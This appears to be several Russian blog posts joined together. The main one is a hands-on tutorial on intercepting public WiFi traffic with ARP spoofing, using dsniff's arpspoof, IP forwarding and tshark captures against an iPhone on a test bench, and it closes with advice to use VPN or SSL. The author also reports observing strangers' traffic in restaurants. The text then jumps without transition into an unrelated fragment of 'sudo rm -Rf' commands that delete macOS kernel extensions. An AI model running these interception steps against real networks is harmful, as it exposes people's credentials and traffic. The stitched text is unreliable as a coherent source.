По дороге к Старбаксу мы перекусили в заведении “Жан-Жак”, отведав французской кухни.

Там я по привычке решил проверить, как обстоят дела с безопасностью в сети WiFi (это была широко распространённая сеть BeelineFreeWiFi, точно название не помню, но она была и в “Драфте”). Если раньше мне приходилось ухищряться, запуская поддельные arp-запросы, чтобы перехватить чужой трафик, то здесь я оказался в лёгком ступоре – чужой unicast-трафик доступен любому, кто подключился в эту сеть, причём без всяческих MITM.

Поясню своё удивление. На тестовом стенде, состоящем из WiFi-маршрутизатора Linksys WRT610n, iPhone “жертвы” и ноутбука “исследователя”, я вижу исключительно трафик broadcast/multicast (на iPhone я активно хожу при этом по web):

115.713064 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
116.020249 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
116.020298 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
116.225019 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
116.327381 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
117.248977 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
119.194596 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
123.290697 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
131.278119 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local

Для заворачивания чужого трафика нужно реализовать MITM-атаку. Войдя в сеть WiFi Билайн, я увидел весь unicast-трафик без каких-либо ухищрений. Выдержки показывать не буду, я их не сохранял, но в двух ресторанчиках ситуация _идентична_. Ребята мельком видели WiFi Access Point DLink в первом заведении… Вероятно именно в этом проблема. Мне рассказали первую заповедь sales-менеджера: “DLink не продавать!!!”. Я полностью с этим согласен, у меня был когда-то DLink, и для того, чтобы войти в сеть WiFi, мне приходилось перед сеансом работы передёргивать его по питанию. Это было давно, и сейчас я использую либо Linksys, либо Airport.

Я не специалист по беспроводному доступу, но могу провести аналогию с коммутаторами. Unicast-трафик начинает флудить на все порты (аналогично broadcast/multicast) в том случае, если коммутатор теряет таблицу MAC-адресов (например, из-за переполнения она обнуляется), и ему приходится её строить заново. Вероятно используются AccessPoint low-end типа DLink, которые расчитаны, допустим, на 10 одновременных подключёний, а их гораздо больше. Или же эти low-end AP работают только в режиме “хаба”. В общем безопасность сетей публичного доступа близка к нулю, особенно если это усугубляется дешевизной решения. Я буду благодарен за ваши мысли в комментариях по поводу такого странного поведения.

Вечером в ресторане “Драфт” за 20 минут я идентифицировал четыре iPhone, затем (без MITM) перехватил трафик со своего iPhone. Для демонстрации я сделал публикацию статьи в своём блоге (обычный XML-RPC через клиент WordPress через обычный для всех блогов http) и получил без малейшего усилия всю информацию по доступу к блогу. После этого я, конечно же, поменял пароль, соединившись на Маке через любимый OpenVPN.

Резюмирую. Безопасности нужно уделять хоть какое-то внимание. Не стоит важные вещи делать через WiFi, желательно иметь VPN-соединение end-to-end, или же все операции производить через протоколы с поддержкой SSL (https, imaps). Иначе сюрприз в виде утечки важной информации не заставит долго ждать.

Вчера @akaDimiG сбросил мне небольшую заметку “Безопасность Wi-Fi в iPhone под сомнением“, которая с первого взгляда у меня вызвала большое сомнение.

4 ноября компания SMobile Global Threat Center опубликовала исследование об атаке MITM (Man-in-the-middle) на смартфоны (и iPhone в том числе), подключающиеся в Интернет через публичные точки доступа WiFi.
Ничего нового это исследование не открыло – эти техники известны давно, однако оно обратило внимание на технику обхода шифрации SSL (SSL Bypass). Статья доступна в виде PDF на сайте компании. Уязвимость SSL была продемонстрирована на конференции Black Hat в феврале 2009. Детальное описание можно посмотреть в презентации Moxie Marlinspike (PDF) “New Tricks For Defeating SSL In Practice“.

Но, поддавшись первому порыву, посмотрите внимательно на этот доклад. Чтобы атака сработала, клиент должен установить соединение по http (gmail.com), исследователь перехватывает ссылку, на которую переправляет (https://gmail.com) и сам общается с gmail по https, транслируя все данные форм, возвращая “жертве” данные по http. Но если “жертва” пойдёт прямо на “https://gmail.com”, то никакой MITM/SSL Bypass не расшифрует этот трафик. И только закон больших чисел даёт из сотен человек найти одну “жертву”. Исследование – это отличный PR, рассчитанный на обычных людей. Посмотрите на десяток перепечаток новости – в каждой сквозит беспочвенная паника.

Поэтому вместо гипотетического “SSL Bypass” давайте рассмотрим, как провести атаку Man In The Middle.

Man in the middle

Я проходился по нерадивым администраторам, для облегчения себе жизни или из простого незнания не уделяющим внимания потенциальным дырам в безопасности. Атаку MITM можно сделать невозможной, включив на точке доступа функцию “AP Isolation”, тогда клиенты в сети не смогут взаимодействовать напрямую. По крайней мере в точках LinkSys я такую функцию находил.

Раньше я думал, что MITM осуществить непросто, и на неё можно не обращать внимание. Как я ошибался…

Итак, приступим. Нам понадобится ноутбук (тематика блога подразумевает ноутбук Apple, но подойдёт любой Unix).

MITM заключается в том, чтобы заставить клиента думать, что трафик нужно просылать не через законный маршрутизатор, а через компьютер атакующего, путём внедрения фальшивого ARP. Для этого нужна утилита arpspoof. Она входит в пакет dsniff.

Обновляем порты:

$ sudo port selfupdate
$ port search dsniff
dsniff @2.3 (net)
    network auditing and penetration testing tools

dsniff-devel @2.4b1 (net)
    network auditing and penetration testing tools

К сожалению, у меня не поставлся обычный dsniff из-за проблем компиляции с libnet, поэтому использовал dsniff-devel, ставящий библиотеки X11.

$ sudo port install dsniff-devel

Теперь нужно определить адрес “жертвы”. Он определяется по броадкаст- и мультикаст-запросам, которые устройство посылает после входа в сеть. Это делаем утилитой tshark из пакета Wireshark.

В качестве жертвы я использовал iPhone, подключающийся в WiFi-сеть, в которой уже зарегистрирован “исследователь”. Для простоты убираем из захвата tshark пакеты исследователя (192.168.99.10):

$ sudo tshark -i en1 not host 192.168.99.10
86.799891      0.0.0.0 -> 255.255.255.255 DHCP DHCP Request  - Transaction ID 0x702c1385
86.799930 Apple_43:7e:5b -> Broadcast    ARP Gratuitous ARP for 192.168.99.12 (Request)
87.208880 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
87.329216 192.168.99.12 -> 224.0.0.2    IGMP V2 Leave Group 224.0.0.251
87.336388 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
87.535037 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
87.633880 Apple_43:7e:5b -> Broadcast    ARP Who has 192.168.99.1?  Tell 192.168.99.12
87.635113 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QU" question
87.790738 Apple_43:7e:5b -> Broadcast    ARP Who has 192.168.99.1?  Tell 192.168.99.12
87.885778 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
87.935788 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
88.135397 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
88.336400 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
88.385319 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
89.461989 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
91.407420 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
92.226848 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
92.227119 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
93.660303 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
93.660615 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
94.457022 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
95.401260 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local

Жертва определена, она получила адрес 192.168.99.12. Необходимо пропустить трафик жертвы через ноутбук, для чего включаем ip forwarding:

$ sysctl net.inet.ip.forwarding
net.inet.ip.forwarding: 0

$ sudo sysctl -w net.inet.ip.forwarding=1

Запускаем инъекцию ложных arp, чтобы “жертве” в ответ на запрос mac маршрутизатора выдался mac “исследователя”:

$ sudo arpspoof -i en1 -t 192.168.99.12 192.168.99.1
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c

• -i en1 – AirPort
• -t 192.168.99.12 – адрес жертвы, ложный mac будет сообщаться в ответ на запросы с этого адреса
• 192.168.99.1 – адрес маршрутизатора, фальшивый mac будет сообщаться в ответ на запросы этого адреса

00:26:08:e2:a6:0c – это mac ноутбука исследователя:

$ ifconfig en1
en1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	inet 192.168.99.10 netmask 0xffffff00 broadcast 192.168.99.255
	ether 00:26:08:e2:a6:0c

Вот, собственно, и всё, теперь трафик “жертвы” проходит через ноутбук исследователя:

$ sudo tshark -i en1 host 192.168.99.12
Capturing on en1
  0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  9.279215 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com
  9.279237 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com
  9.279270 192.168.99.10 -> 192.168.99.12 ICMP Redirect (Redirect for host)
  9.291862 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0
  9.291932 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0
  9.429857 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811
  9.429898 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 48#1] 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811
  9.430490 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881
  9.430498 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 50#1] 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881
  9.439025 192.168.99.12 -> 213.136.52.29 HTTP GET /news-and-events/web-seminars/display-467.html HTTP/1.1
  9.439079 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /news-and-events/web-seminars/display-467.html HTTP/1.1
  9.637697 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948
  9.637759 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 54#1] 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948
  9.638451 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948
  9.638503 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 56#1] 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948
  9.649155 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948
  9.649211 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948
  9.702673 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.702728 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.719934 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.719989 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.727094 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.727138 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.841247 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568
  9.841309 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 66#1] 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568
  9.841400 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572
  9.841428 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 68#1] 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572
  9.845311 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573
  9.845379 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 70#1] 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573
  9.845543 192.168.99.12 -> 213.136.52.29 HTTP GET /common/js/clear_search_text.js HTTP/1.1
  9.845593 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/js/clear_search_text.js HTTP/1.1
  9.845986 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/print.css HTTP/1.1
  9.846023 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/print.css HTTP/1.1
  9.848917 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/mysql.css HTTP/1.1
  9.848971 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/mysql.css HTTP/1.1

К счастью, обмен с MobileMe и GMail ведётся по HTTPS/IMAPS:

$ sudo tshark -i en1 host 192.168.99.12
Capturing on en1
  0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  2.000779 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  4.001618 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  4.837984 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data
  4.838017 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data
  4.838547 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  4.838561 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  4.941498 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461
  4.941578 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 8#1] 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461
  4.945409 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  4.945452 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  5.044213 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546
  5.044263 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 12#1] 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546
  5.098574 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  5.098645 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  5.103338 192.168.99.12 -> 17.148.16.43 TCP 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298
  5.103411 192.168.99.12 -> 17.148.16.43 TCP [TCP Dup ACK 16#1] 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298
  5.109752 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data
  5.109792 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data
  5.114479 192.168.99.12 -> 195.47.212.25 SSL Client Hello

Как вы видите, MITM реализуется очень просто. Поэтому не рекомендую работать с важными данными и входить на критические сайты через публичные точки WiFi. Лучше использовать мобильный Интернет, здесь перехватить трафик любому желающему, сидящему за соседним столиком, нереально. Или же использовать VPN. А проще всего всегда контролировать, что используется именно SSL и данные не идут через незашифрованные http, pop3 и imap.

$ sudo rm -Rf /System/Library/Extensions/IOUSBMassStorageClass.kext/
$ sudo rm -Rf /System/Library/Extensions/IOFireWireSerialBusProtocolTransport.kext/

У пользователей не должно быть прав администратора, иначе они запросто восстановят kext’ы (ладно, обычный пользователь вряд ли восстановит, но более-менее искушённый это сделает без проблем).

Но не забывайте, что при обновлении операционной системы файлы скорее всего появятся, и их нужно удалять регулярно. Вариант – создание стартовых скриптов, проводящих эту операцию при перезагрузке. Ещё один – создание каталогов с особыми правами с такими же именами (не пробовал).

А более правильный вариант – это развёртывание в сети централизованной системы аутентификации и авторизации OpenLDAP на Mac OS X Server. В этом случае в профиле пользователя в Mobility Management можно очень просто запретить использование не только съёмных USB-носителей, но и CD/DVD/etc. Исследование того, как именно это происходит, это тема для отдельной статьи, я пока ответить не могу. Но хочу :-)